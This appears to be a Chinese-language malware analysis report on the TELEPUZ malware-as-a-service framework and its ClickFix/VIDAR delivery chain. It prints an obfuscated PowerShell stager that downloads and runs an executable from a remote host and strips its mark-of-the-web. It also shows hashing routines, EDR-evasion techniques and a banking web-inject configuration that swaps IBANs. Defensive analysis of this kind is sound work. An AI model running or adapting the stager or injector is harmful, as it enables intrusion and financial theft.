VIDAR 只是跳板嗎?
摘要
研究報告提供了對 TELEPUZ 的全面技術分析,TELEPUZ 是一個新興的模組化惡意軟體即服務 (MaaS) 框架。最初於 2026 年中觀測到,TELEPUZ 利用多階段感染鏈,主要透過 ClickFix 社交工程手法投放。該惡意軟體的特點在於其輕量級的 C 語言架構、進階的規避技術(包含 indirect syscall 與 NTDLL unhooking),以及允許動態擴充 payload 的模組化設計。研究檢視了 TELEPUZ 的底層技術機制、其加密實作,以及在更廣泛的網路威脅環境中的整合方式,並將其投放方法與當前的 session hijacking 和 loader 攻擊活動進行了比較。
1. 簡介
2026 年的威脅環境已明顯朝向模組化、服務導向的惡意軟體框架轉變。TELEPUZ 代表了此領域中一個複雜的演進,提供了一個功能完整且輕量的 payload,專注於隱蔽性和持久性 [1]。與單體式惡意軟體不同,TELEPUZ 透過一系列的 stager 和專門的模組(例如 keylogger 和 web injector)運作,這些模組會從 command-and-control (C2) 伺服器動態擷取。主要的投放途徑 ClickFix 利用人類心理,誘騙使用者在技術故障排除或軟體更新的幌子下,執行惡意的 PowerShell 指令。報告解析了 TELEPUZ 的技術架構,聚焦於其混淆、執行流程和通訊協定。
2. ClickFix-VIDAR 感染鏈
TELEPUZ 的部署通常始於 ClickFix 社交工程攻擊 。在此情境中,受害者被引誘至一個遭入侵或惡意的網頁,該網頁顯示假的錯誤訊息或「驗證」提示。使用者被指示複製並執行 PowerShell 指令以「修復」問題。這個初始指令扮演第一階段下載器,為後續的 payload 建立立足點。
2.1. 初始執行邏輯
以下 PowerShell 片段說明了用於啟動 TELEPUZ 感染鏈的典型 ClickFix 投放機制。它繞過執行原則,並從遠端端點下載第二階段程式。
- #/*
- # * Code Snippet 1: ClickFix PowerShell Stager
- # * This command is designed to be copied and executed by the user.
- # * It uses the WebClient class to download an executable to the TEMP folder.
- # */
- C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -w h -ep bypass -c \
- "$h='memsho'+'wblob[.]forum';$n='f322a5fa.exe';$u='https://'+$h+'/api/index.php?a=grab';\
- $f=$env:TEMP+'\'+$n;[Net.WebClient]::new().('Down'+'loadFile')($u,$f);\
- ri($f+':Zone.Identifier')-EA 0;& $f
如上述邏輯所示,stager 會擷取 VIDAR 惡意軟體的變種,然後作為 TELEPUZ 元件的 loader。這種多層次的方法確保最終 payload 只會在成功通過初始社交工程障礙的系統上部署。
2.2. 感染順序
下圖概述了 TELEPUZ 部署過程中,受害者系統與各種基礎架構元件之間的互動。
3. 核心技術內部與規避
TELEPUZ 以 C 語言撰寫,展現出高品質的程式碼,顯示其開發具專業水準。它採用了多種進階技術來規避安全軟體的偵測,並使人工分析更加困難。
3.1. 混淆與匯入雜湊
為隱藏其真正意圖,TELEPUZ 使用了垃圾指令和動態匯入解析。惡意軟體沒有使用標準的匯入位址表 (Import Address Table, IAT),而是在執行階段使用自訂的雜湊演算法來解析 Windows API 函式。這可以防止靜態分析工具根據其匯入項目來識別惡意軟體的能力。
- #/*
- # * Code Snippet 2: Module and Import Name Hashing Algorithm
- # * This function calculates a 32-bit hash for a given module name.
- # * It uses a custom constant (0x97C2CA4B) and a specific rotation/multiplication sequence.
- # */
- def hash_module_name_wide(name):
- h = 0x97C2CA4B
- for c in name:
- b = ord(c) & 0xFF
- if 0x41 <= b <= 0x5A: # Case-insensitive handling
- b += 0x20
- h = ((h << 0x15) | (h >> 0x0B)) & 0xFFFFFFFF
- h = (h - b) & 0xFFFFFFFF
- h = (0x48076BB1 * h - 0x4767A3AB) & 0xFFFFFFFF
- return h
3.2. Indirect Syscall 與 NTDLL Unhooking
TELEPUZ 的一個重要功能是其使用
Indirect syscall
。透過從磁碟映射一份全新的
ntdll.dll
複本,惡意軟體可以繞過 EDR 在記憶體載入的程式庫版本中所設置的 hook。它識別必要的 syscall 編號,並透過置入合法系統程式庫(如
dfscli.dll
或
secur32.dll
)中的「trampoline」來執行它們。這確保了依賴 API hooking 的安全監控工具實際上被蒙蔽。
4. 加密與 Session 識別
TELEPUZ 確保每個受感染主機都是唯一可識別的,並且其通訊是安全的。它結合了 FNV-1 和 ROR27 演算法,根據硬體和系統特性來產生持久的 session ID。
- #/*
- # * Code Snippet 3: Session ID Generation Logic
- # * Combines hardware serial, computer name, and install date.
- # * Uses two distinct hashing algorithms to ensure uniqueness.
- # */
- FNV1_SEED = 0x811C9DC5
- FNV1_PRIME = 0x01000193
- ROR27_SEED = 0xA1B39854
- GOLDEN_RATIO = 0x61C88647
- def generate_session_id(computer_name, volume_serial, install_date):
- data = computer_name + volume_serial + install_date
- # Generate 64-bit ID as two 32-bit hex strings
- return "%08x%08x" % (fnv1_32(data), ror27_sub(data))
此外,該惡意軟體利用自訂 RC4 進行字串加密,並使用 AES-256-CBC 來解密從公開資源(如 Polygon 區塊鏈或 Telegram 個人檔案)擷取的 C2 備援資訊。
5. Command-and-Control 與模組化
C2 通訊透過 WebSocket 處理,為資料外洩和指令執行提供了持久且低延遲的通道。TELEPUZ 支援廣泛的指令,其中許多涉及下載額外的功能模組。
5.1. 指令解析
指令以雜湊值形式接收,進一步混淆了惡意軟體在網路層級檢查中的能力。
- #/*
- # * Code Snippet 4: Command Hashing Algorithm
- # * Used by the malware to match incoming C2 hashes with internal functions.
- # */
- def hash_command_name(name):
- h = 0x1505
- for c in name:
- # Simple XOR-based hashing with a multiplier
- h = (ord(c) ^ (0x21 * h)) & 0xFFFFFFFF
- return h
5.2. WebInjector 模組
功能最強大的模組之一是 WebInjector,它使用 Chrome DevTools Protocol (CDP) 鎖定 Chromium 系列的瀏覽器。這使得惡意軟體可以在不進行傳統瀏覽器 hooking 的情況下,攔截和修改網路流量。此模組的設定非常詳細,指定了金融資料攔截的目標和動作。
- ///*
- // * Code Snippet 5: WebInjector Configuration Structure
- // * This JSON defines how the module interacts with the browser and C2.
- // * Includes fields for IBAN swapping and credential grabbing.
- // */
- {
- "browser": "chrome",
- "c2_host": "example_c2_host",
- "bot_id": "unique_victim_id",
- "targets": [
- {
- "url_match": "bank_portal_url",
- "name": "financial_target"
- }
- ],
- "actions": [
- {
- "type": "swap_fields",
- "fields": {
- "iban": "attacker_iban_account",
- "amount_field": "amount"
- }
- }
- ]
- }
6. 與近期攻擊活動的比較分析
使用 ClickFix 作為投放機制並非 TELEPUZ 獨有。近期關於 ClickFix session hijacking 的研究顯示,其同樣依賴社交工程來繞過多因素驗證 (MFA),手法是誘騙使用者手動外洩 session cookie [2] 。雖然 TELEPUZ 專注於透過 MaaS 進行完整的系統入侵,但其他攻擊活動如 Fileless AsyncRat 則利用 ClickFix 透過 WMI 事件訂閱來部署 RAT 以達成持續性 [4] 。
此外, ClickFix 演變成如 FileFix 等方法,顯示了攻擊者如何找到透過標準瀏覽器檔案上傳對話框執行指令的方式,從而完全繞過傳統的執行提示 [3] 。TELEPUZ 整合到這個投放生態系統中,凸顯了其在 MaaS 市場中作為高階 payload 的角色,通常與其他 loader(如 MintsLoader )一起散佈 [5] 。
7. 結論
TELEPUZ 證明了 MaaS 生態系統日益增長的複雜性。透過將 Indirect syscall 等進階規避技術與 ClickFix 等有效的社交工程投放鏈相結合,開發者打造了一個具有韌性且強大的威脅。該惡意軟體的模組化特性以及對 WebSocket 和利用區塊鏈的備援機制等現代通訊協定的使用,確保了其在面對不斷演變的安全措施時的持久性。防禦此類威脅需要多方面的做法,包含加強使用者教育以識別社交工程,以及進階的行為監控以偵測無檔案和模組化執行的細微痕跡。